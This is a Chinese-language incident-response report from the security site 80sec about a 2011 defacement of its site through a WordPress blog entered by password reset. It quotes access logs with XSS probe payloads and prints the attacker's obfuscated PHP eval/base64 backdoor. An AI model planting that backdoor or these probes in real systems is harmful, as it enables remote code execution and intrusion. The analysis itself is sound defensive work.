[ 目錄 ]
0×00 事件背景
0×01 應(yīng)急響應(yīng)
0×02 事件分析
0×03 事件啟示
0×04 總結(jié)

0×00 事件背景

在感恩節(jié)的晚上，我們的站點(diǎn)遭遇了攻擊，幾名未知性別的黑客成功涂改掉了我們的首頁，事情發(fā)生后很多朋友對(duì)我們被攻擊的原因和經(jīng)過都很關(guān)心，各種猜測都有，加上我們后續(xù)對(duì)于這次攻擊的分析結(jié)果來看，我們覺得整次攻擊和事后應(yīng)急及分析的過程都適合作為一次典型的案例分析，把整件事情披露出來無論是對(duì)我們還是對(duì)業(yè)界會(huì)非常有意義，入侵者給我們在感恩節(jié)送了這么好的禮物，我們要好好接受才對(duì)：）


0×01 應(yīng)急響應(yīng)

事件發(fā)生之后的一段時(shí)間我們登錄到服務(wù)器，由于首頁替換的時(shí)間很短暫，我們甚至沒有抓到截圖，開始甚至都懷疑是ARP欺騙或者是DNS劫持之類的攻擊，但是作為應(yīng)急響應(yīng)的箴言之一，我們最好不要相信猜測，一切以日志分析為主，一旦猜測我們從開始就輸了。
我們知道在webserver的日志里記錄了幾乎所有有價(jià)值的信息，我們后續(xù)的檢測必須依賴于日志，所以建議各位日志沒開的同學(xué)先把日志打開并且保存足夠長的時(shí)間，在這個(gè)有價(jià)值的信息里，我們第一個(gè)需要找準(zhǔn)的就是攻擊發(fā)生的具體時(shí)間點(diǎn)，因?yàn)槲覀兪鞘醉摫缓诓⑶視r(shí)間較短，我們迅速stat了下首頁文件的內(nèi)容，發(fā)現(xiàn)完全正常沒有任何改變：

File: `/home/jianxin/80sec.com/public_html/index.php’
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800

我們知道在linux系統(tǒng)下面的ctime會(huì)需要權(quán)限較高才能修改，而我們的系統(tǒng)是最新的patch，據(jù)我們了解也應(yīng)該不存在使用未公開的漏洞來攻擊我們的可能，畢竟我們只是一個(gè)技術(shù)站點(diǎn)，難道真的是ARP或者是Dns劫持么？在webserver的log里有一個(gè)選項(xiàng)記錄了這一次請(qǐng)求所傳遞的數(shù)據(jù)量，我們對(duì)比了下發(fā)現(xiàn)，的確在某個(gè)時(shí)間首頁的數(shù)據(jù)量有一個(gè)顯著的減少：

173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;

為676字節(jié)，而一般的請(qǐng)求大小為

98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″

31831字節(jié)，我們可以確認(rèn)webserver的確出現(xiàn)了問題，入侵者的確能夠控制我們的首頁顯示，到這里我們基本可以確定攻擊時(shí)間和攻擊的源IP了，當(dāng)你被黑了的時(shí)候，第一個(gè)訪問那個(gè)頁面的基本就是攻擊者本人，他們會(huì)迫不及待的來看攻擊成果：）
既然服務(wù)器有問題了，那我們來看看今天有什么文件被修改了：

find /home/ -ctime 1

立刻我們就發(fā)現(xiàn)了一些好玩的東西：

session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

看來這就是那只后門了，寫到了一個(gè)全局可寫的緩存文件里，而且特意做了隱藏，基本是正常的代碼也不觸發(fā)什么關(guān)鍵字，那么問題在于這么一些可愛的代碼是怎么到我的服務(wù)器上的呢？這個(gè)后門我們發(fā)現(xiàn)最早出現(xiàn)的時(shí)間并不是在80sec里，而是在同一服務(wù)器上一個(gè)80sec童鞋的Blog里，最早的時(shí)間可以追朔到

218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2"

ip似乎也比較吻合，那么似乎假設(shè)如果沒有猜錯(cuò)的話，第一個(gè)被攻擊的目標(biāo)應(yīng)該是這個(gè)很勺的80sec童鞋的Blog才對(duì)，那么是如何攻擊的呢？我們將日志里與這個(gè)ip相關(guān)的抽取出來

218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"

攻擊很早就發(fā)生了，甚至還使用了

218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s= HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=t>alert(1499328686)%3Bt> HTTP/1.0″ 200 8667 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p=t>alert(812396909)%3Bt> HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28990417228%29%3B%22%3E HTTP/1.0″ 200 8586 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s= HTTP/1.0″ 200 8777 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?s= HTTP/1.0″ 200 8816 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%288013950%29%3B%22%3E HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”

一個(gè)web掃描工具對(duì)站點(diǎn)進(jìn)行了詳細(xì)的掃描，連一個(gè)功能簡單的開源blog都不放過，可以猜測對(duì)一般的站點(diǎn)每天要遭受多少蹂躪，最后攻擊者開始找回密碼

218.213.229.74 – - [19/Nov/2011:05:25:39 +0800] “GET /wp-admin/images/button-grad-active.png HTTP/1.1″ 200 575 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:25:40 +0800] “POST /wp-login.php HTTP/1.1″ 200 2155 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:01 +0800] “POST /wp-login.php HTTP/1.1″ 200 2156 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:03 +0800] “GET /wp-login.php?action=lostpassword HTTP/1.1″ 200 1741 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:19 +0800] “POST /wp-login.php?action=lostpassword HTTP/1.1″ 200 2106 “http://sex1986.com/wp-login.php?action=lostpassword” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″

最后，攻擊者的確成功的取回了密碼，然后通過這個(gè)密碼進(jìn)入了后臺(tái)，后臺(tái)的功能比較豐富然后上傳了后門，在清楚攻擊者的手法之后我們很快定位了原因和進(jìn)行了處理，我們的服務(wù)器以較低身份運(yùn)行，而程序文件權(quán)限是以屬主身份運(yùn)行，所以整個(gè)web目錄不可寫，較好的控制了入侵的范圍，在對(duì)入侵者放置在各個(gè)角落里的后門處理之后，我們修改相應(yīng)密碼恢復(fù)了站點(diǎn)的運(yùn)行；

0×02 事件分析

我們討論一次入侵事件，必須要清楚相應(yīng)的目的，在恢復(fù)站點(diǎn)運(yùn)行之后，我們分析了入侵者所有的動(dòng)作，大概可以總結(jié)如下這次攻擊更像是針對(duì)wooyun.org的一次攻擊，因?yàn)閣ooyun.org近期的一些事情被遷移到日本的vps，所以這可能是一次長期的持久的滲透攻擊，專業(yè)點(diǎn)稱為APT攻擊，但是由于代碼邏輯完全不在這臺(tái)服務(wù)器上，所以攻擊者失敗了。
攻擊者在取回郵箱密碼的時(shí)候手法值得懷疑，盡管整個(gè)事件的源頭是由于某個(gè)很勺的80sec童鞋，這位童鞋雖然很勺，但是絕對(duì)不使用弱口令也不會(huì)使用生日密碼（我們的安全意識(shí)不像傳聞的那樣弱），同時(shí)這位悲催的童鞋有兩個(gè)郵箱，一個(gè)郵箱是wordpess的密碼找回郵箱！另外一個(gè)郵箱同樣也是這個(gè)wordpress密碼郵箱的密碼找回郵箱！wordpess和兩個(gè)郵箱的安全關(guān)聯(lián)層層相扣！未知性別的感恩節(jié)攻擊者采用讀心術(shù)控制了我們這位很純潔的童鞋的最后一個(gè)關(guān)鍵郵箱，在沒有漏洞的情況下滲透進(jìn)了服務(wù)器，得到了大家上面所看到的結(jié)果，很偉大，不是么？
通過一段時(shí)間的關(guān)聯(lián)分析，我們發(fā)現(xiàn)與這次攻擊相關(guān)的人都可能遭受到不同程度的牽連，包括曾經(jīng)在80sec.com上注冊的不少用戶都通過郵箱找回了密碼，而攻擊的來源與此次攻擊者正好相同，這里最大的問題在于，誰能夠同時(shí)擁有這么多郵箱，包括163，hotmail以及gmail的密碼，我們有理由相信這次攻擊與國內(nèi)很多大型社區(qū)的數(shù)據(jù)庫失竊，與傳聞的某郵箱數(shù)據(jù)庫失竊有關(guān)。
攻擊者所使用的后門開始有意識(shí)的進(jìn)行躲避和查殺，如果不是入侵者通過緩存直接修改了首頁，那么這次攻擊可能隱蔽得更深更長時(shí)間，所造成的危害可能更大，對(duì)于80sec而言，我們所有的文檔和技術(shù)都在站點(diǎn)進(jìn)行分享，并沒有安全級(jí)別要求較高的數(shù)據(jù)，所以可能影響不大，但是對(duì)于一些包含重要數(shù)據(jù)的企業(yè)和網(wǎng)站而言，同時(shí)我們事后發(fā)現(xiàn)攻擊者所使用的IP是一家站點(diǎn)，很可能該家站點(diǎn)已經(jīng)被攻陷作為跳板，如何在攻擊發(fā)生和嘗試發(fā)生時(shí)發(fā)現(xiàn)和阻止將是一件很有挑戰(zhàn)的事情。

0×03 事件啟示

在這件事情里，我們覺得對(duì)我們最有意義包括兩點(diǎn)，一點(diǎn)是現(xiàn)有互聯(lián)網(wǎng)認(rèn)證機(jī)制的崩潰，這主要表現(xiàn)在目前的互聯(lián)網(wǎng)的認(rèn)證是基于電子郵件的認(rèn)證，電子郵件在各個(gè)企業(yè)和互聯(lián)網(wǎng)公司都被用作標(biāo)識(shí)用戶身份，而經(jīng)過近幾年黑客一輪又一輪的洗禮，目前國內(nèi)互聯(lián)網(wǎng)企業(yè)里含有較大用戶基數(shù)的站點(diǎn)都可能已經(jīng)淪陷，而在即使知道自己用戶數(shù)據(jù)庫被竊取之后大多數(shù)的企業(yè)基于自身利益原因還是會(huì)保持沉默。黑客在攢積大量的用戶密碼之后，就可以使得基于賬戶密碼，基于郵箱認(rèn)證的現(xiàn)有安全認(rèn)證機(jī)制失效，這已經(jīng)是現(xiàn)有互聯(lián)網(wǎng)企業(yè)的災(zāi)難，請(qǐng)想想你們企業(yè)內(nèi)部郵箱是否對(duì)外，以及郵箱是否是靜態(tài)密碼，如果郵箱是內(nèi)部，那么VPN呢，而這種安全機(jī)制的失效又稱為攻擊者攢積新的數(shù)據(jù)庫的基礎(chǔ)，形成一個(gè)巨大的黑色雪球，徹底瓦解互聯(lián)網(wǎng)安全。
另外一部分是關(guān)于apt攻擊的，理論上我們只要有一個(gè)目標(biāo)，基本是沒有攻破不了的，特別是對(duì)于大企業(yè)而言，架構(gòu)的改動(dòng)，IDC的擴(kuò)充，企業(yè)并購和投資都可能為你的安全體系引入新的風(fēng)險(xiǎn)，如何在一個(gè)動(dòng)態(tài)的環(huán)境下建設(shè)一個(gè)較為完善的安全體系，這將是安全人員面臨的一個(gè)巨大挑戰(zhàn)，因?yàn)閺倪@一次時(shí)間里就可以看到，我們并沒有因?yàn)槭谴嬖谑裁磳?shí)際的漏洞而導(dǎo)致被入侵。

0×04 總結(jié)

在80sec出現(xiàn)問題之后，不少人猜測是漏洞還是什么原因遭受攻擊，有人懷疑是安全意識(shí)問題，也有一些安全廠商詢問是否可以通過WAF或者其他的安全產(chǎn)品來避免此次安全事件，不過在事件披露之后，相信大家應(yīng)該很清楚能否通過現(xiàn)有產(chǎn)品來避免此類的攻擊行為，我們的安全概念需要更新了，不只是漏洞也不只是安全意識(shí)了，包括安全的理解，對(duì)攻擊的理解都需要有一個(gè)全新的認(rèn)識(shí)了，最后歡迎微博上某位產(chǎn)品安全廠商開發(fā)出能夠保護(hù)我們的安全產(chǎn)品，也歡迎攻擊者可以聯(lián)系到我們看看我們的整個(gè)過程的分析是否正確